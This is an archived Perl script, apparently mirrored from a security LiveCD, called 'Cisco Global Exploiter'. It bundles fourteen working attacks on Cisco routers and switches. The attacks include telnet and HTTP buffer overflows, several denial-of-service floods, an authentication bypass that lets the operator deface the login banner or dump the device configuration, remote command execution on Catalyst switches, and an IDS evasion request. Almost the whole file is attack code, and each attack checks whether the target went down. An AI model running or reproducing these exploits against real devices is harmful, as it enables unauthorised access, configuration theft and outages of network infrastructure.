home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / ciscoMultipleVulnsExploit.pl < prev    next >
Perl Script  |  2005-02-12  |  18KB  |  561 lines

  1. #!/usr/bin/perl
  2.  
  3. ##
  4. # Cisco Global Exploiter
  5. #
  6. # Legal notes :
  7. # The BlackAngels staff refuse all responsabilities
  8. # for an incorrect or illegal use of this software
  9. # or for eventual damages to others systems.
  10. #
  11. # http://www.blackangels.it
  12. ##
  13.  
  14.  
  15.  
  16. ##
  17. # Modules
  18. ##
  19.  
  20. use Socket;
  21. use IO::Socket;
  22.  
  23.  
  24. ##
  25. # Main
  26. ##
  27.  
  28. $host = "";
  29. $expvuln = "";
  30. $host = @ARGV[ 0 ];
  31. $expvuln = @ARGV[ 1 ];
  32.  
  33. if ($host eq "") {
  34. usage();
  35. }
  36. if ($expvuln eq "") {
  37. usage();
  38. }
  39. if ($expvuln eq "1") {
  40. cisco1();
  41. }
  42. elsif ($expvuln eq "2") {
  43. cisco2();
  44. }
  45. elsif ($expvuln eq "3") {
  46. cisco3();
  47. }
  48. elsif ($expvuln eq "4") {
  49. cisco4();
  50. }
  51. elsif ($expvuln eq "5") {
  52. cisco5();
  53. }
  54. elsif ($expvuln eq "6") {
  55. cisco6();
  56. }
  57. elsif ($expvuln eq "7") {
  58. cisco7();
  59. }
  60. elsif ($expvuln eq "8") {
  61. cisco8();
  62. }
  63. elsif ($expvuln eq "9") {
  64. cisco9();
  65. }
  66. elsif ($expvuln eq "10") {
  67. cisco10();
  68. }
  69. elsif ($expvuln eq "11") {
  70. cisco11();
  71. }
  72. elsif ($expvuln eq "12") {
  73. cisco12();
  74. }
  75. elsif ($expvuln eq "13") {
  76. cisco13();
  77. }
  78. elsif ($expvuln eq "14") {
  79. cisco14();
  80. }
  81. else {
  82. printf "\nInvalid vulnerability number ...\n\n";
  83. exit(1);
  84. }
  85.  
  86.  
  87. ##
  88. # Functions
  89. ##
  90.  
  91. sub usage
  92. {
  93.   printf "\nUsage :\n";
  94.   printf "perl cge.pl <target> <vulnerability number>\n\n";
  95.   printf "Vulnerabilities list :\n";
  96.   printf "[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability\n";
  97.   printf "[2] - Cisco IOS Router Denial of Service Vulnerability\n";
  98.   printf "[3] - Cisco IOS HTTP Auth Vulnerability\n";
  99.   printf "[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability\n";
  100.   printf "[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability\n";
  101.   printf "[6] - Cisco 675 Web Administration Denial of Service Vulnerability\n";
  102.   printf "[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability\n";
  103.   printf "[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability\n";
  104.   printf "[9] - Cisco 514 UDP Flood Denial of Service Vulnerability\n";
  105.   printf "[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability\n";
  106.   printf "[11] - Cisco Catalyst Memory Leak Vulnerability\n";
  107.   printf "[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability\n";
  108.   printf "[13] - %u Encoding IDS Bypass Vulnerability (UTF)\n";
  109.   printf "[14] - Cisco IOS HTTP Denial of Service Vulnerability\n";
  110.   exit(1);
  111. }
  112.  
  113. sub cisco1 # Cisco 677/678 Telnet Buffer Overflow Vulnerability
  114. {
  115.   my $serv = $host;
  116.   my $dch = "?????????????????a~ %%%%%XX%%%%%";
  117.   my $num = 30000;
  118.   my $string .= $dch x $num;
  119.   my $shc="\015\012";
  120.  
  121.   my $sockd = IO::Socket::INET->new (
  122.                                      Proto => "tcp",
  123.                                      PeerAddr => $serv,
  124.                                      PeerPort => "(23)",
  125.                                      ) || die("No telnet server detected on $serv ...\n\n");
  126.  
  127.   $sockd->autoflush(1);
  128.   print $sockd "$string". $shc;
  129.   while (<$sockd>){ print }
  130.   print("\nPacket sent ...\n");
  131.   sleep(1);
  132.   print("Now checking server's status ...\n");
  133.   sleep(2);
  134.  
  135.   my $sockd2 = IO::Socket::INET->new (
  136.                                       Proto => "tcp",
  137.                                       PeerAddr => $serv,
  138.                                       PeerPort => "(23)",
  139.                                       ) || die("Vulnerability successful exploited. Target server is down ...\n\n");
  140.  
  141.   print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  142.   close($sockd2);
  143.   exit(1);
  144. }
  145.  
  146. sub cisco2 # Cisco IOS Router Denial of Service Vulnerability
  147. {
  148.   my $serv = $host;
  149.  
  150.   my $sockd = IO::Socket::INET->new (
  151.                                      Proto=>"tcp",
  152.                                      PeerAddr=>$serv,
  153.                                      PeerPort=>"http(80)",);
  154.                                      unless ($sockd){die "No http server detected on $serv ...\n\n"};
  155.   $sockd->autoflush(1);
  156.   print $sockd "GET /\%\% HTTP/1.0\n\n";
  157.   -close $sockd;
  158.   print "Packet sent ...\n";
  159.   sleep(1);
  160.   print("Now checking server's status ...\n");
  161.   sleep(2);
  162.  
  163.   my $sockd2 = IO::Socket::INET->new (
  164.                                       Proto=>"tcp",
  165.                                       PeerAddr=>$serv,
  166.                                       PeerPort=>"http(80)",);
  167.                                       unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};
  168.  
  169.   print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  170.   close($sockd2);
  171.   exit(1);
  172. }
  173.  
  174. sub cisco3 # Cisco IOS HTTP Auth Vulnerability
  175. {
  176.   my $serv= $host;
  177.   my $n=16;
  178.   my $port=80;
  179.   my $target = inet_aton($serv);
  180.   my $fg = 0;
  181.  
  182.   LAB: while ($n<100) {
  183.   my @results=exploit("GET /level/".$n."/exec/- HTTP/1.0\r\n\r\n");
  184.   $n++;
  185.   foreach $line (@results){
  186.           $line=~ tr/A-Z/a-z/;
  187.           if ($line =~ /http\/1\.0 401 unauthorized/) {$fg=1;}
  188.           if ($line =~ /http\/1\.0 200 ok/) {$fg=0;}
  189.   }
  190.  
  191.   if ($fg==1) {
  192.                sleep(2);
  193.                print "Vulnerability unsuccessful exploited ...\n\n";
  194.               }
  195.   else {
  196.         sleep(2);
  197.         print "\nVulnerability successful exploited with [http://$serv/level/$n/exec/....] ...\n\n";
  198.         last LAB;
  199.        }
  200.  
  201.   sub exploit {
  202.                my ($pstr)=@_;
  203.                socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
  204.                die("Unable to initialize socket ...\n\n");
  205.                if(connect(S,pack "SnA4x8",2,$port,$target)){
  206.                                                             my @in;
  207.                                                             select(S);
  208.                                                             $|=1;
  209.                                                             print $pstr;
  210.                                                             while(<S>){ push @in, $_;}
  211.                                                             select(STDOUT); close(S); return @in;
  212.                                                            }
  213.   else { die("No http server detected on $serv ...\n\n"); }
  214.   }
  215.   }
  216.   exit(1);
  217. }
  218.  
  219. sub cisco4 # Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
  220. {
  221.   my $serv = $host;
  222.   my $n = 16;
  223.  
  224.   while ($n <100) {
  225.                    exploit1("GET /level/$n/exec/- HTTP/1.0\n\n");
  226.                    $wr =~ s/\n//g;
  227.                    if ($wr =~ /200 ok/) {
  228.                                               while(1)
  229.                                               { print "\nVulnerability could be successful exploited. Please choose a type of attack :\n";
  230.                                                 print "[1] Banner change\n";
  231.                                                 print "[2] List vty 0 4 acl info\n";
  232.                                                 print "[3] Other\n";
  233.                                                 print "Enter a valid option [ 1 - 2 - 3 ] : ";
  234.                                                 $vuln = <STDIN>;
  235.                                                 chomp($vuln);
  236.  
  237.                    if ($vuln == 1) {
  238.                                     print "\nEnter deface line : ";
  239.                                     $vuln = <STDIN>;
  240.                                     chomp($vuln);
  241.                                     exploit1("GET /level/$n/exec/-/configure/-/banner/motd/$vuln HTTP/1.0\n\n");
  242.                                    }
  243.                    elsif ($vuln == 2) {
  244.                                        exploit1("GET /level/$n/exec/show%20conf HTTP/1.0\n\n");
  245.                                        print "$wrf";
  246.                                       }
  247.                    elsif ($vuln == 3)
  248.                                       { print "\nEnter attack URL : ";
  249.                                         $vuln = <STDIN>;
  250.                                         chomp($vuln);
  251.                                         exploit1("GET /$vuln HTTP/1.0\n\n");
  252.                                         print "$wrf";
  253.                                       }
  254.          }
  255.          }
  256.          $wr = "";
  257.          $n++;
  258.   }
  259.   die "Vulnerability unsuccessful exploited ...\n\n";
  260.  
  261.   sub exploit1 {
  262.                 my $sockd = IO::Socket::INET -> new (
  263.                                                      Proto => 'tcp',
  264.                                                      PeerAddr => $serv,
  265.                                                      PeerPort => 80,
  266.                                                      Type => SOCK_STREAM,
  267.                                                      Timeout => 5);
  268.                                                      unless($sockd){die "No http server detected on $serv ...\n\n"}
  269.   $sockd->autoflush(1);
  270.   $sockd -> send($_[0]);
  271.   while(<$sockd>){$wr .= $_} $wrf = $wr;
  272.   close $sockd;
  273.   }
  274.   exit(1);
  275. }
  276.  
  277. sub cisco5 # Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
  278. {
  279.   my $serv = $host;
  280.   my $port = 22;
  281.   my $vuln = "a%a%a%a%a%a%a%";
  282.  
  283.   my $sockd = IO::Socket::INET->new (
  284.                                      PeerAddr => $serv,
  285.                                      PeerPort => $port,
  286.                                      Proto => "tcp")
  287.                                      || die "No ssh server detected on $serv ...\n\n";
  288.  
  289.   print "Packet sent ...\n";
  290.   print $sockd "$vuln";
  291.   close($sockd);
  292.   exit(1);
  293. }
  294.  
  295. sub cisco6 # Cisco 675 Web Administration Denial of Service Vulnerability
  296. {
  297.   my $serv = $host;
  298.   my $port = 80;
  299.   my $vuln = "GET ? HTTP/1.0\n\n";
  300.  
  301.   my $sockd = IO::Socket::INET->new (
  302.                                      PeerAddr => $serv,
  303.                                      PeerPort => $port,
  304.                                      Proto => "tcp")
  305.                                      || die "No http server detected on $serv ...\n\n";
  306.  
  307.   print "Packet sent ...\n";
  308.   print $sockd "$vuln";
  309.   sleep(2);
  310.   print "\nServer response :\n\n";
  311.   close($sockd);
  312.   exit(1);
  313. }
  314.  
  315. sub cisco7 # Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
  316. {
  317.   my $serv = $host;
  318.   my $port = 80;
  319.   my $k = "";
  320.   
  321.   print "Enter a file to read [ /show/config/cr set as default ] : ";
  322.   $k = <STDIN>;
  323.   chomp ($k);
  324.   if ($k eq "")
  325.   {$vuln = "GET /exec/show/config/cr HTTP/1.0\n\n";}
  326.   else
  327.   {$vuln = "GET /exec$k HTTP/1.0\n\n";}
  328.  
  329.   my $sockd = IO::Socket::INET->new (
  330.                                      PeerAddr => $serv,
  331.                                      PeerPort => $port,
  332.                                      Proto => "tcp")
  333.                                      || die "No http server detected on $serv ...\n\n";
  334.  
  335.   print "Packet sent ...\n";
  336.   print $sockd "$vuln";
  337.   sleep(2);
  338.   print "\nServer response :\n\n";
  339.   while (<$sockd>){print}
  340.   close($sockd);
  341.   exit(1);
  342. }
  343.  
  344. sub cisco8 # Cisco IOS Software HTTP Request Denial of Service Vulnerability
  345. {
  346.   my $serv = $host;
  347.   my $port = 80;
  348.   my $vuln = "GET /error?/ HTTP/1.0\n\n";
  349.  
  350.   my $sockd = IO::Socket::INET->new (
  351.                                      PeerAddr => $serv,
  352.                                      PeerPort => $port,
  353.                                      Proto => "tcp")
  354.                                      || die "No http server detected on $serv ...\n\n";
  355.  
  356.   print "Packet sent ...\n";
  357.   print $sockd "$vuln";
  358.   sleep(2);
  359.   print "\nServer response :\n\n";
  360.   while (<$sockd>){print}
  361.   close($sockd);
  362.   exit(1);
  363. }
  364.  
  365. sub cisco9 # Cisco 514 UDP Flood Denial of Service Vulnerability
  366. {
  367.   my $ip = $host;
  368.   my $port = "514";
  369.   my $ports = "";
  370.   my $size = "";
  371.   my $i = "";
  372.   my $string = "%%%%%XX%%%%%";
  373.  
  374.   print "Input packets size : ";
  375.   $size = <STDIN>;
  376.   chomp($size);
  377.  
  378.   socket(SS, PF_INET, SOCK_DGRAM, 17);
  379.   my $iaddr = inet_aton("$ip");
  380.  
  381.   for ($i=0; $i<10000; $i++)
  382.   { send(SS, $string, $size, sockaddr_in($port, $iaddr)); }
  383.  
  384.   printf "\nPackets sent ...\n";
  385.   sleep(2);
  386.   printf "Please enter a server's open port : ";
  387.   $ports = <STDIN>;
  388.   chomp $ports;
  389.   printf "\nNow checking server status ...\n";
  390.   sleep(2);
  391.  
  392.   socket(SO, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "An error occuring while loading socket ...\n\n";
  393.   my $dest = sockaddr_in ($ports, inet_aton($ip));
  394.   connect (SO, $dest) || die "Vulnerability successful exploited. Target server is down ...\n\n";
  395.  
  396.   printf "Vulnerability unsuccessful exploited. Target server is still up ...\n\n";
  397.   exit(1);
  398. }
  399.  
  400. sub cisco10 # CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
  401. {
  402.   my $ip = $host;
  403.   my $vln = "%%%%%XX%%%%%";
  404.   my $num = 30000;
  405.   my $string .= $vln x $num;
  406.   my $shc="\015\012";
  407.  
  408.   my $sockd = IO::Socket::INET->new (
  409.                                      Proto => "tcp",
  410.                                      PeerAddr => $ip,
  411.                                      PeerPort => "(2002)",
  412.                                     ) || die "Unable to connect to $ip:2002 ...\n\n";
  413.  
  414.   $sockd->autoflush(1);
  415.   print $sockd "$string" . $shc;
  416.   while (<$sockd>){ print }
  417.   print "Packet sent ...\n";
  418.   close($sockd);
  419.   sleep(1);
  420.   print("Now checking server's status ...\n");
  421.   sleep(2);
  422.  
  423.   my $sockd2 = IO::Socket::INET->new (
  424.                                       Proto=>"tcp",
  425.                                       PeerAddr=>$ip,
  426.                                       PeerPort=>"(2002)",);
  427.                                       unless ($sockd){die "Vulnerability successful exploited. Target server is down ...\n\n"};
  428.  
  429.   print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  430.   exit(1);
  431. }
  432.  
  433. sub cisco11 # Cisco Catalyst Memory Leak Vulnerability
  434. {
  435.   my $serv = $host;
  436.   my $rep = "";
  437.   my $str = "AAA\n";
  438.  
  439.   print "\nInput the number of repetitions : ";
  440.   $rep = <STDIN>;
  441.   chomp $rep;
  442.  
  443.   my $sockd = IO::Socket::INET->new (
  444.                                      PeerAddr => $serv,
  445.                                      PeerPort => "(23)",
  446.                                      Proto => "tcp")
  447.                                      || die "No telnet server detected on $serv ...\n\n";
  448.  
  449.   for ($k=0; $k<=$rep; $k++) {
  450.                                 print $sockd "$str";
  451.                                 sleep(1);
  452.                                 print $sockd "$str";
  453.                                 sleep(1);
  454.                              }
  455.   close($sockd);
  456.   print "Packet sent ...\n";
  457.   sleep(1);
  458.   print("Now checking server's status ...\n");
  459.   sleep(2);
  460.   
  461.   my $sockd2 = IO::Socket::INET->new (
  462.                                       Proto=>"tcp",
  463.                                       PeerAddr=>$serv,
  464.                                       PeerPort=>"(23)",);
  465.                                       unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};
  466.  
  467.   print "Vulnerability unsuccessful exploited. Target server is still up after $rep logins ...\\n";
  468.   close($sockd2);
  469.   exit(1);
  470. }
  471.  
  472. sub cisco12 # Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
  473. {
  474.   my $serv = $host;
  475.   my $l =100;
  476.   my $vuln = "";
  477.   my $long = "A" x $l;
  478.  
  479.   my $sockd = IO::Socket::INET->new (
  480.                                      PeerAddr => $serv,
  481.                                      PeerPort => "(80)",
  482.                                      Proto => "tcp")
  483.                                      || die "No http server detected on $serv ...\n\n";
  484.  
  485.   for ($k=0; $k<=50; $k++) {
  486.                               my $vuln = "GET " . $long . " HTTP/1.0\n\n";
  487.                               print $sockd "$vuln\n\n";
  488.                               sleep(1);
  489.                               $l = $l + 100;
  490.                            }
  491.  
  492.   close($sockd);
  493.   print "Packet sent ...\n";
  494.   sleep(1);
  495.   print("Now checking server's status ...\n");
  496.   sleep(2);
  497.  
  498.   my $sockd2 = IO::Socket::INET->new (
  499.                                       Proto=>"tcp",
  500.                                       PeerAddr=>$serv,
  501.                                       PeerPort=>"http(80)",);
  502.                                       unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};
  503.  
  504.   print "Target is not vulnerable. Server is still up after 5 kb of buffer ...)\n";
  505.   close($sockd2);
  506.   exit(1);
  507. }
  508.  
  509. sub cisco13 # %u Encoding IDS Bypass Vulnerability (UTF)
  510. {
  511.   my $serv = $host;
  512.   my $vuln = "GET %u002F HTTP/1.0\n\n";
  513.  
  514.   my $sockd = IO::Socket::INET->new (
  515.                                      PeerAddr => $serv,
  516.                                      PeerPort => "(80)",
  517.                                      Proto => "tcp")
  518.                                      || die "No http server detected on $serv ...\n\n";
  519.  
  520.   print "Packet sent ...\n";
  521.   print $sockd "$vuln";
  522.   close($sockd);
  523.   sleep(1);
  524.   print("Now checking server's status ...\n");
  525.   print("Please verify if directory has been listed ...\n\n");
  526.   print("Server response :\n");
  527.   sleep(2);
  528.   while (<$sockd>){ print }
  529.   exit(1);
  530. }
  531.  
  532. sub cisco14 # Cisco IOS HTTP server DoS Vulnerability
  533. {
  534.   my $serv = $host;
  535.   my $vuln = "GET /TEST?/ HTTP/1.0";
  536.  
  537.   my $sockd = IO::Socket::INET->new (
  538.                                      Proto=>"tcp",
  539.                                      PeerAddr=>$serv,
  540.                                      PeerPort=>"http(80)",);
  541.                                      unless ($sockd){die "No http server detected on $serv ...\n\n"};
  542.  
  543.   print $sockd "$vuln\n\n";
  544.   print "Packet sent ...\n";
  545.   close($sockd);
  546.   sleep(1);
  547.   print("Now checking server's status ...\n");
  548.   sleep(2);
  549.  
  550.   my $sockd2 = IO::Socket::INET->new (
  551.                                       Proto=>"tcp",
  552.                                       PeerAddr=>$serv,
  553.                                       PeerPort=>"http(80)",);
  554.                                       unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};
  555.  
  556.   print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");
  557.   close($sockd2);
  558.   exit(1);
  559. }
  560.  
  561.